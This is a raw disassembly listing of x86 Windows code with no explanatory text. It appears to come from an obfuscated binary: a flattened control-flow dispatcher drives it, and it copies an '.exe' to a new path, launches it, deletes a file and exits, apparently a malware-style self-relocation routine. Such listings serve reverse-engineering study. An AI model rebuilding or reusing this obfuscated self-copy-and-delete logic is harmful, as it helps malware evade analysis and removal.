lea ecx, [esp + 0x18b4]
mov dword [esp + 0x728], eax
mov eax, dword [esp + 0x728]
sub eax, 0x19d816f5
sub eax, 4
mov word [esp + eax*2 + 0x33b0469e], 0
mov eax, esp
mov dword [eax + 0xc], ecx
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateEventW]
call eax
sub esp, 0x10
mov dword [esp + 0x2574], eax
mov dword [esp + 0x6c0], 0xacb3e902
jmp 0x437895
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp + 0x6c0], 0xe30bda46
mov dword [esp + 0xa4], eax
jmp 0x437895
mov eax, 0
mov ecx, 0x20a
lea edx, [esp + 0x18b4]
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
mov dword [esp + 0xa0], eax
mov dword [esp + 0x9c], ecx
call fcn.00439800
mov ecx, 0
mov edx, 0x20a
lea esi, [esp + 0x16aa]
mov dword [esp], esi
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
mov dword [esp + 0x98], eax
mov dword [esp + 0x94], ecx
mov dword [esp + 0x90], edx
call fcn.00439800
mov ecx, 0x104
lea edx, [esp + 0x18b4]
mov dword [esp], edx
mov dword [esp + 4], 0x104
mov dword [esp + 0x8c], eax
mov dword [esp + 0x88], ecx
call fcn.0044f980
lea eax, [esp + 0x18b4]
mov dword [esp], eax
call fcn.0044f5a0
mov ecx, 0x104
lea edx, [esp + 0x16aa]
lea esi, [esp + 0x1ed2]
mov dword [esp + 0x6ec], eax
add byte [eax], al
mov eax, dword [esp + 0x738]
mov dword [esp], edx
mov dword [esp + 4], 0x104
mov dword [esp + 8], esi
mov dword [esp + 0xc], eax
mov dword [esp + 0x84], ecx
call fcn.0044e330
lea ecx, [esp + 0x16aa]
mov edx, 0
lea esi, [esp + 0x18b4]
mov edi, dword [esp + 0x6ec]
mov ebx, dword [esp + 0x738]
sub edx, ebx
add edx, 0x104
mov ebx, dword [esp + 0x738]
shl ebx, 1
add ecx, ebx
mov dword [esp], ecx
mov dword [esp + 4], edx
mov dword [esp + 8], esi
mov dword [esp + 0xc], edi
mov dword [esp + 0x80], eax
call fcn.0044e330
lea ecx, str..exe
mov edx, 4
lea esi, [esp + 0x16aa]
mov edi, 0
mov ebx, dword [esp + 0x738]
mov dword [esp + 0x7c], eax
mov eax, edi
sub eax, ebx
add eax, 0x104
mov ebx, dword [esp + 0x6ec]
sub edi, ebx
add eax, edi
mov edi, dword [esp + 0x738]
shl edi, 1
add esi, edi
mov edi, dword [esp + 0x6ec]
shl edi, 1
add esi, edi
mov dword [esp], esi
mov dword [esp + 4], eax
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 4
mov dword [esp + 0x78], edx
call fcn.0044e330
mov dword [esp + 0x6c0], 0xcc5861f8
mov dword [esp + 0x74], eax
jmp 0x437895
lea eax, [esp + 0xc78]
lea ecx, [esp + 0x16aa]
mov edx, esp
mov dword [edx + 4], ecx
mov dword [edx], eax
mov dword [edx + 8], 1
mov eax, dword [sym.imp.KERNEL32.dll_CopyFileW]
call eax
sub esp, 0xc
mov dword [esp + 0x6c0], 0xc3abff54
mov dword [esp + 0x70], eax
jmp 0x437895
mov dword [esp + 0x6c0], 0x7385fae2
jmp 0x437895
mov eax, 0
mov ecx, 0x20a
lea edx, [esp + 0x1cc8]
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
mov dword [esp + 0x6c], eax
mov dword [esp + 0x68], ecx
call fcn.00439800
mov ecx, 0
mov edx, 0x20a
lea esi, [esp + 0x1abe]
mov dword [esp], esi
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
mov dword [esp + 0x64], eax
mov dword [esp + 0x60], ecx
mov dword [esp + 0x5c], edx
call fcn.00439800
mov ecx, 0x104
lea edx, [esp + 0x1cc8]
mov dword [esp], edx
mov dword [esp + 4], 0x104
mov dword [esp + 0x58], eax
mov dword [esp + 0x54], ecx
call fcn.0044f980
mov eax, 0x104
lea ecx, [esp + 0x1abe]
lea edx, [esp + 0x1ed2]
mov esi, dword [esp + 0x738]
mov dword [esp], ecx
mov dword [esp + 4], 0x104
mov dword [esp + 8], edx
mov dword [esp + 0xc], esi
mov dword [esp + 0x50], eax
call fcn.0044e330
lea ecx, [esp + 0x1cc8]
mov dword [esp], ecx
mov dword [esp + 0x4c], eax
call fcn.0044f5a0
lea ecx, [esp + 0x1abe]
mov edx, 0x104
lea esi, [esp + 0x1cc8]
mov edi, dword [esp + 0x738]
sub edx, 0x4794f6a1
sub edx, edi
add edx, 0x4794f6a1
mov edi, dword [esp + 0x738]
shl edi, 1
add ecx, edi
mov dword [esp], ecx
mov dword [esp + 4], edx
mov dword [esp + 8], esi
mov dword [esp + 0xc], eax
call fcn.0044e330
lea ecx, [esp + 0x1abe]
mov edx, dword [0x52ece0]
mov esi, esp
mov dword [esi], ecx
mov dword [esi + 4], 0
mov dword [esp + 0x48], eax
call edx
sub esp, 8
mov dword [esp + 0x256c], eax
mov dword [esp + 0x6c0], 0x16064cbf
jmp 0x437895
lea eax, [esp + 0x16aa]
mov ecx, esp
mov dword [ecx], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileW]
call eax
sub esp, 4
lea ecx, [esp + 0xc78]
mov dword [esp], ecx
mov dword [esp + 0x44], eax
call fcn.0042a080
mov dword [esp + 0x6c0], 0x6c76a043
jmp 0x437895
lea eax, [esp + 0xa6e]
lea ecx, [esp + 0x20dc]
mov dword [esp + 0x2540], ecx
mov dword [esp + 0x2544], eax
mov dword [esp + 0x254c], 0
mov eax, dword [0x52ece8]
mov ecx, esp
lea edx, [esp + 0x2530]
mov dword [ecx], edx
call eax
sub esp, 4
mov dword [esp + 0x6c0], 0x779cbc84
mov dword [esp + 0x40], eax
jmp 0x437895
mov dword [esp + 0x6c0], 0x7be3834c
jmp 0x437895
mov eax, 0
mov ecx, 0x20a
lea edx, [esp + 0xa6e]
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
mov dword [esp + 0x3c], eax
mov dword [esp + 0x38], ecx
call fcn.00439800
mov ecx, 0x104
lea edx, str._q__u
mov esi, 6
lea edi, [esp + 0xa6e]
mov dword [esp], edi
mov dword [esp + 4], 0x104
mov dword [esp + 8], edx
mov dword [esp + 0xc], 6
mov dword [esp + 0x34], eax
mov dword [esp + 0x30], ecx
mov dword [esp + 0x2c], esi
call fcn.0044e330
lea ecx, [esp + 0x1abe]
mov dword [esp], ecx
mov dword [esp + 0x28], eax
call fcn.0044f5a0
mov ecx, 0xfe
lea edx, [esp + 0xa6e]
lea esi, [esp + 0x1abe]
add edx, 0xc
mov dword [esp], edx
mov dword [esp + 4], 0xfe
mov dword [esp + 8], esi
mov dword [esp + 0xc], eax
mov dword [esp + 0x24], ecx
call fcn.0044e330
lea ecx, [esp + 0xa6e]
lea edx, [esp + 0x20dc]
mov dword [esp + 0x2540], edx
mov dword [esp + 0x2544], ecx
mov dword [esp + 0x254c], 0
mov ecx, dword [0x52ece8]
mov edx, esp
lea esi, [esp + 0x2530]
mov dword [edx], esi
mov dword [esp + 0x20], eax
call ecx
sub esp, 4
mov dword [esp + 0x6c0], 0x43a1e677
mov dword [esp + 0x1c], eax
jmp 0x437895
mov dword [esp + 0x6c0], 0xe19ff7a5
jmp 0x437895
mov eax, dword [esp + 0x2574]
mov ecx, esp
mov dword [ecx], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov dword [esp + 0x6c0], 0xa1bd6a2c
mov dword [esp + 0x18], eax
jmp 0x437895
mov dword [esp + 0x6c0], 0xf9e23e26
jmp 0x437895
mov eax, esp
mov dword [eax], 0
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
call eax
sub esp, 4
mov dword [esp + 0x6c0], 0x7fb48320
jmp 0x437895
mov dword [esp + 0x6c0], 0x74cae28a
jmp 0x4330c3